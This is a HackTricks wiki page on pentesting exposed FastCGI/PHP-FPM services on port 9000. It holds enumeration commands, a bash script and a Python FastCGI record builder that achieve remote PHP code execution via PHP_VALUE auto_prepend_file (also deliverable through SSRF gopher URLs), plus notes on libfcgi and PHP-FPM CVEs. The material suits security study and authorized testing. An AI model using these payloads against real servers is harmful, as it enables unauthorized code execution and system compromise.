9000-pentesting-fastcgi.md (5144B)
1 --- 2 title: "9000 Pentesting FastCGI" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/9000-pentesting-fastcgi.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/9000-pentesting-fastcgi.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # 9000 Pentesting FastCGI 14 15 ## Basic Information 16 17 If you want to **learn what is FastCGI** check the following page: 18 19 20 [Disable Functions Bypass Php Fpm Fastcgi](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-php-fpm-fastcgi) 21 22 TCP/9000 is a common PHP-FPM/FastCGI configuration, not a protocol-mandated default. PHP-FPM can instead listen on another TCP address or a Unix socket; secure deployments normally restrict which clients can reach it.<sup>[[4]](#references)</sup> 23 24 ## Enumeration / Quick checks 25 26 * **Port scan:** `nmap -sV -p9000 <target>` (will often show "unknown" service; manually test). 27 * **Probe an explicitly configured FPM status page:** `SCRIPT_FILENAME=/status SCRIPT_NAME=/status REQUEST_METHOD=GET cgi-fcgi -bind -connect 127.0.0.1:9000`. `pm.status_path` is unset by default, so `/status` works only when enabled.<sup>[[4]](#references)</sup> 28 * **Find reachable sockets via SSRF:** if an HTTP service is exploitable for SSRF, try `gopher://127.0.0.1:9000/_...` payloads to hit the FastCGI listener. 29 * **Nginx misconfigs:** `cgi.fix_pathinfo=1` with `fastcgi_split_path_info` errors let you append `/.php` to static files and reach PHP (code exec via traversal). 30 31 ## RCE 32 33 It's quite easy to make FastCGI execute arbitrary code: 34 35 <details> 36 <summary>Send FastCGI request that prepends PHP payload</summary> 37 38 ```bash 39 #!/bin/bash 40 41 PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';" 42 FILENAMES="/var/www/public/index.php" # Existing file path 43 44 HOST=$1 45 B64=$(echo "$PAYLOAD"|base64) 46 47 for FN in $FILENAMES; do 48 OUTPUT=$(mktemp) 49 env -i \ 50 PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \ 51 SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \ 52 cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT 53 54 cat $OUTPUT 55 done 56 ``` 57 58 </details> 59 60 Alternatively, the referenced Python FastCGI client can generate the request.<sup>[[5]](#references)</sup> 61 62 ### SSRF/gopher to FastCGI (when 9000 is not directly reachable) 63 64 If you only control an **SSRF** primitive, you can still hit FastCGI using the gopher scheme and craft a full FastCGI request. Example payload builder: 65 66 <details> 67 <summary>Build and send a gopher FastCGI RCE payload</summary> 68 69 ```python 70 import struct, socket 71 host, port = "127.0.0.1", 9000 72 params = { 73 b"REQUEST_METHOD": b"POST", 74 b"SCRIPT_FILENAME": b"/var/www/html/index.php", 75 b"PHP_VALUE": b"auto_prepend_file=php://input\nallow_url_include=1" 76 } 77 body = b"<?php system('id'); ?>" 78 79 def rec(rec_type, content, req_id=1): 80 return struct.pack("!BBHHBB", 1, rec_type, req_id, len(content), 0, 0) + content 81 82 def enc_params(d): 83 out = b"" 84 for k, v in d.items(): 85 out += struct.pack("!B", len(k)) + struct.pack("!B", len(v)) + k + v 86 return out 87 payload = rec(4, enc_params(params)) + rec(4, b"") # FCGI_PARAMS + terminator 88 payload += rec(5, body) # FCGI_STDIN 89 90 s = socket.create_connection((host, port)) 91 s.sendall(payload) 92 print(s.recv(4096)) 93 ``` 94 95 Convert `payload` to URL-safe base64/percent-encoding and send via `gopher://host:9000/_<payload>` in your SSRF. 96 </details> 97 98 ### Notes on recent issues 99 100 * **libfcgi <= 2.4.4 integer overflow (2024):** crafted `nameLen`/`valueLen` in FastCGI records can overflow on 32‑bit builds (common in embedded/IoT), yielding heap RCE when the FastCGI socket is reachable (directly or via SSRF).<sup>[[1]](#references)[[2]](#references)</sup> 101 * **PHP-FPM log manipulation (CVE-2024-9026):** when `catch_workers_output = yes`, attackers who can send FastCGI requests may truncate or inject up to 4 bytes per log line to erase indicators or poison logs.<sup>[[3]](#references)</sup> 102 * **Classic Nginx + cgi.fix_pathinfo misconfig:** still widely seen; if `fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;` is used without file existence checks, any path ending in `.php` gets executed, enabling path traversal or source overwrite style gadgets. 103 104 105 ## References 106 107 - [1] [CVE-2025-23016 - Exploiting the FastCGI library (Synacktiv)](https://www.synacktiv.com/en/publications/cve-2025-23016-exploiting-the-fastcgi-library) 108 - [2] [NVD — CVE-2025-23016 FastCGI library integer overflow](https://nvd.nist.gov/vuln/detail/CVE-2025-23016) 109 - [3] [CVE-2024-9026 PHP-FPM log manipulation analysis](https://cyrisk.com/security/cve-2024-9026-log-manipulation/) 110 - [4] [PHP manual — FPM configuration](https://www.php.net/manual/en/install.fpm.configuration.php) 111 - [5] [phith0n — Python FastCGI client](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)